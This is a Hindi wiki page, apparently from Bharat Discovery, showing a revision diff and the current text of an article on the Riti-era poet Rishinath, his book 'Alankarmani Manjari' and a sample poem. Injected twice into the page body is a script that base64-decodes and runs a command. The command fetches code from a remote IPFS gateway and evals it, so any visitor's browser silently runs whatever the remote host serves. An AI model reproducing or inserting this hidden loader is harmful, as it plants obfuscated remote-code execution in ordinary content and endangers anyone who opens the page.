एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "३"।

"ऋषिनाथ" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('*ऋषिनाथ असनी के रहने वाले प्रसिद्ध कवि ठाकुर के पिता ...' के साथ नया पन्ना बनाया)
 
छो (Text replacement - " जगत " to " जगत् ")
 
(6 सदस्यों द्वारा किये गये बीच के 6 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
*ऋषिनाथ असनी के रहने वाले प्रसिद्ध कवि ठाकुर के पिता और सेवक के प्रपितामह थे।  
+
'''ऋषिनाथ''' [[रीति काल]] के कवियों में गिने जाते थे। ये [[असनी]] के रहने वाले प्रसिद्ध [[ठाकुर असनी दूसरे|कवि ठाकुर]] के [[पिता]] और सेवक के प्रपितामह थे। ऋषिनाथ मझौली राजा के दरबारी [[कवि]] तथा बाद में [[काशी]] नरेश के भाई देवकीनन्दन के आश्रित कवि हुए थे। इन्होनें 483 [[छंद|छंदों]] में ‘अलंकार मणि मंजरी’ की रचना की थी।
*काशिराज के दीवान 'सदानंद' और 'रघुबर' कायस्थ के आश्रय में इन्होंने 'अलंकारमणि मंजरी' नाम की एक अच्छी पुस्तक बनाई जिसमें दोहों की संख्या अधिक है।  
+
 
*'अलंकारमणि मंजरी' में दोहों के साथ साथ बीच बीच में घनाक्षरी और छप्पय भी हैं।  
+
*काशिराज के दीवान 'सदानंद' और 'रघुबर कायस्थ' के आश्रय में इन्होंने 'अलंकारमणि मंजरी' नाम की एक अच्छी पुस्तक बनाई, जिसमें [[दोहा|दोहों]] की संख्या अधिक है।  
*इसका रचना काल संवत 1831 है, जिससे यह इनकी वृध्दावस्था का ग्रंथ जान पड़ता है।  
+
*'अलंकारमणि मंजरी' में दोहों के साथ साथ बीच बीच में [[घनाक्षरी]] और [[छप्पय]] भी हैं। इसका रचना काल [[संवत]] 1831 है, जिससे यह इनकी वृद्धावस्था का [[ग्रंथ]] जान पड़ता है।  
*इनका कविता काल संवत 1790 से 1831 तक माना जा सकता है।  
+
*ऋषिनाथ का कविता काल संवत 1790 से 1831 तक माना जा सकता है।  
*ऋषिनाथ कविता अच्छी करते थे।
+
*[[कविता]] करने के लिए ऋषिनाथ को प्रसिद्धि प्राप्त थी।
 
;उदाहरण -
 
;उदाहरण -
<poem>छाया छत्र ह्वै करि करति महिपालन को,
+
<blockquote><poem>छाया छत्र ह्वै करि करति महिपालन को,
 
पालन को पूरो फैलो रजत अपार ह्वै।
 
पालन को पूरो फैलो रजत अपार ह्वै।
 
मुकुत उदार ह्वै लगत सुख श्रौनन में,
 
मुकुत उदार ह्वै लगत सुख श्रौनन में,
जगत जगत हंस, हास, हीरहार ह्वै
+
जगत जगत् हंस, हास, हीरहार ह्वै
 
ऋषिनाथ सदानंद सुजस बिलंद,
 
ऋषिनाथ सदानंद सुजस बिलंद,
 
तमवृंद के हरैया चंद्रचंद्रिका सुढार ह्वै,
 
तमवृंद के हरैया चंद्रचंद्रिका सुढार ह्वै,
 
हीतल को सीतल करत घनसार ह्वै,
 
हीतल को सीतल करत घनसार ह्वै,
महीतल को पावन करत गंगधार ह्वै
+
महीतल को पावन करत गंगधार ह्वै</poem></blockquote>
</poem>
 
 
 
  
{{प्रचार}}
+
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}  
{{लेख प्रगति|आधार=आधार1|प्रारम्भिक=|माध्यमिक=|पूर्णता=|शोध=}}
 
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
==सम्बंधित लेख==
 
==सम्बंधित लेख==
 
{{भारत के कवि}}
 
{{भारत के कवि}}
[[Category:रीति काल]][[Category:मुग़ल साम्राज्य]]
+
[[Category:रीति काल]][[Category:रीतिकालीन कवि]][[Category:काशी]][[Category:कवि]][[Category:साहित्य_कोश]][[Category:चरित कोश]]
[[Category:कवि]][[Category:साहित्य_कोश]]
 
 
__INDEX__
 
__INDEX__

13:48, 30 जून 2017 के समय का अवतरण

ऋषिनाथ रीति काल के कवियों में गिने जाते थे। ये असनी के रहने वाले प्रसिद्ध कवि ठाकुर के पिता और सेवक के प्रपितामह थे। ऋषिनाथ मझौली राजा के दरबारी कवि तथा बाद में काशी नरेश के भाई देवकीनन्दन के आश्रित कवि हुए थे। इन्होनें 483 छंदों में ‘अलंकार मणि मंजरी’ की रचना की थी।

  • काशिराज के दीवान 'सदानंद' और 'रघुबर कायस्थ' के आश्रय में इन्होंने 'अलंकारमणि मंजरी' नाम की एक अच्छी पुस्तक बनाई, जिसमें दोहों की संख्या अधिक है।
  • 'अलंकारमणि मंजरी' में दोहों के साथ साथ बीच बीच में घनाक्षरी और छप्पय भी हैं। इसका रचना काल संवत 1831 है, जिससे यह इनकी वृद्धावस्था का ग्रंथ जान पड़ता है।
  • ऋषिनाथ का कविता काल संवत 1790 से 1831 तक माना जा सकता है।
  • कविता करने के लिए ऋषिनाथ को प्रसिद्धि प्राप्त थी।
उदाहरण -

छाया छत्र ह्वै करि करति महिपालन को,
पालन को पूरो फैलो रजत अपार ह्वै।
मुकुत उदार ह्वै लगत सुख श्रौनन में,
जगत जगत् हंस, हास, हीरहार ह्वै
ऋषिनाथ सदानंद सुजस बिलंद,
तमवृंद के हरैया चंद्रचंद्रिका सुढार ह्वै,
हीतल को सीतल करत घनसार ह्वै,
महीतल को पावन करत गंगधार ह्वै


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

सम्बंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>